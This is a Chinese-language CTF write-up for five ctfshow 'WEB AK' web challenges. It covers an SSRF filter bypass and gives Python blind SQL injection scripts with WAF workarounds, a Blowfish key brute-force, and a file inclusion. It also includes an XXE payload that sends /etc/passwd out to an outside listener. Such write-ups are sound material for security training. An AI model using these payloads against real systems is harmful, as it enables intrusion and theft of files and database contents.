WEB AK赛

简介: WEB AK赛

web1_观字

<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

?url=http://192。168。7。68/flag

SSRF常见的URL绕过方式

1、“@”符号绕过
http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的。
2、点分割符号替换
在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、。、.来代替:
3、本地回环地址
4、IP的进制转换
由于IP地址可以用多种格式表示,因此可以在URL中如下所示使用:
点分十进制IP地址:http://216.58.199.78
八进制IP地址:http://0330.0072.0307.0116(将每个十进制数字转换为八进制)
十六进制IP地址:http://0xD83AC74E或者http://0xD8.0x3A.0xC7.0x4E(将每个十进制数字转换为十六进制)
整数或DWORD IP地址:http://3627730766(将十六进制IP转换为整数)
5、短网址

web2_观星

先跑下敏感词拦截情况,拦截的关键词还挺多

用%09绕过空格的waf,这里还拦截了ASCII等盲注常用词

-1%09or%091%23     -1 or  1#
回显出所有的文章

平时的二分法的SQL盲注语句为

?stunum=(ascii(substr((select(group_concat(table_name))from('\
'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)
^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web1'),{},1))>{})^1".format(i,mid)

fzuu一下,依次绕过waf代替如下

ORD()函数返回字符串中第一个字符的ASCII值

0 %09
3 ascii ord
16 = like rlike regexp
17 0x十六进制
19 , from for
21 " 0x十六进制

脚本如下

import requests
url = 'http://47320b32-c69e-453b-9618-096398f13ac8.challenge.ctf.show/index.php?id=1'
res = ''
for i in range(1, 50):
    high = 128
    low = 32
    mid = (high+low)//2
    while high > low:
        # payload = "^(ord(substr((database())from({})for(1)))>{})^1".format(i, mid)
        # payload = "^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))>{})^1".format(i,mid)
        # payload = "^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))>{})^1".format(i,mid)
        payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
        s = requests.get(url=url+payload)
        if 'Kipling' in s.text:
            low = mid+1
        else:
            high = mid
        mid = (high+low)//2
    # print(mid)
    res += chr(mid)
    print(res)

网上的脚本(非二分)

import requests
baseurl='http://426c70b1-b58c-4b5e-8e2d-abf5bde77c46.chall.ctf.show/index.php?id=1^'
value=""
for i in range(1,50):
    print("i=" + str(i))
    for j in range(38,128):
        # paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j)
        #paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
        # paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
        paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
        # "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j)
        newurl=baseurl+paylaod
        rep=requests.get(newurl).text
        # print(rep)
        if "I asked nothing" in rep:
            print(value)
            value+=chr(j)
            break

web3_观图

showImage.php?image=Z6Ilu83MIDw=
在某些平台下(例如 Windows)RAND_MAX 只有32768
<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?>
<?php
$image="Z6Ilu83MIDw=";
for($i=0;$i<40000;$i++)
{
    $key = substr(md5('ctfshow' . $i), 3, 8);
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(strpos($str,'jpg')|strpos($str,'png')|strpos($str,'gif'))
    {
        echo $i.PHP_EOL;
        echo $key.PHP_EOL;
        echo $str;
    break;
    }
}
?>

27347

5a78dbb4

1.jpg

<?php
$image="config.php";
    $key = "5a78dbb4";
    $str = openssl_encrypt($image, 'bf-ecb', $key);
    echo $str;
?>

?image=N6bf8Bd8jm0SpmTZGl0isw==

web4_观心

<!-- flag in filesystem /flag.txt -->
POST /api.php HTTP/1.1
Host: f3fcabf4-3e41-4da7-a0cf-0d5f8262a36e.challenge.ctf.show
Content-Length: 74
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://f3fcabf4-3e41-4da7-a0cf-0d5f8262a36e.challenge.ctf.show
Referer: http://f3fcabf4-3e41-4da7-a0cf-0d5f8262a36e.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
api=http://flash.weather.com.cn/wmaps/xml/city.xml&city=Fuzhou

发现api.php

Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name does not resolve in /var/www/html/api.php on line 16
Warning: file_get_contents(http://flash.weather.com.cn/wmaps/xml/fuzhou.xml): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name does not resolve in /var/www/html/api.php on line 16
Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/api.php on line 20
Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/api.php on line 21
Fatal error: Uncaught Error: Call to a member function children() on null in /var/www/html/api.php:28 Stack trace: #0 {main} thrown in /var/www/html/api.php on line 28

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

可以用如下语法引入外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">

解析一个xml文件,这里考虑xxe外带文件内容

test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:6666?p=%file;'>">
a.xml
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

监听相应端口,成功将passwd外带出来,同理修改为/flag.txt即可

签到_观己

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }
}else{
    highlight_file(__FILE__);
}
?>

简单的文件包含题目,过滤了php关键字

GET /?file=file:///flag.txt

目录
相关文章
ctfshow-WEB AK赛-web2_观星
ctfshow-WEB AK赛-web2_观星wp
288 0
ctfshow-WEB AK赛-web2_观星
ctfshow-WEB AK赛-web1_观字
ctfshow-WEB AK赛-web1_观字WP
138 0
ctfshow-WEB AK赛-web1_观字
|
安全 应用服务中间件 PHP
ctfshow-WEB AK赛-签到_观己
ctfshow-WEB AK赛-签到_观己 WP
147 0
ctfshow-WEB AK赛-签到_观己
|
18天前
|
开发框架 缓存 前端开发
基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求
基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求
|
20天前
|
安全 IDE 编译器
深入理解PHP 7的新特性及其对现代Web开发的影响
【7月更文挑战第30天】本文将深入探索PHP 7版本中引入的关键新特性,并分析这些改进如何优化现代Web开发实践。通过对比PHP 5和PHP 7的性能差异,我们将揭示PHP 7如何提升应用响应速度和资源利用效率。此外,本文还将讨论PHP 7对开发者工作流程的影响,包括新的语言特性、错误处理机制以及内置函数的增强,旨在为读者提供全面了解PHP 7所带来的变革性影响。
|
1天前
|
缓存 前端开发 JavaScript
高效开发现代 Web 应用:从前端到后端的最佳实践
在开发现代 Web 应用时,前端和后端技术的选择对项目的性能、可维护性和用户体验至关重要。本文将探讨如何通过现代工具和框架来优化前端和后端开发流程。我们将分析前端技术(如 React 和 Vue.js)与后端技术(如 Node.js 和 Django)的集成,并提供实际案例来展示如何实现高效开发。无论是对新手还是经验丰富的开发者,本指南都提供了宝贵的洞见和实用的技巧,以帮助提高开发效率并构建出色的 Web 应用。
|
5天前
|
开发框架 前端开发 JavaScript
C/S、B/S、Web的介绍(Web应用开发)
这篇文章介绍了C/S(客户端/服务器)和B/S(浏览器/服务器)两种架构,以及Web应用开发的基本原理、客户端和服务器端的应用技术。
C/S、B/S、Web的介绍(Web应用开发)
|
14天前
|
安全 前端开发 JavaScript
PHP在现代Web开发中的角色和挑战
【8月更文挑战第5天】随着技术的不断进步,PHP作为一门经典的服务器端脚本语言,在现代Web开发中扮演着重要角色。本文将探讨PHP的发展历程、它在当前Web开发环境中的地位、面临的主要挑战以及未来可能的发展方向。
|
21天前
|
安全 API PHP
深入理解PHP 7的新特性及其对现代Web开发的影响
【7月更文挑战第29天】本文将探索PHP 7版本引入的一系列新特性,并分析它们如何革新了现代Web开发。我们将从性能提升、语言特性增强、以及面向对象编程的改进等方面进行详细讨论,旨在为开发者提供一份全面的PHP 7新特性指南,帮助他们更好地利用这些新工具优化和加速Web应用的开发。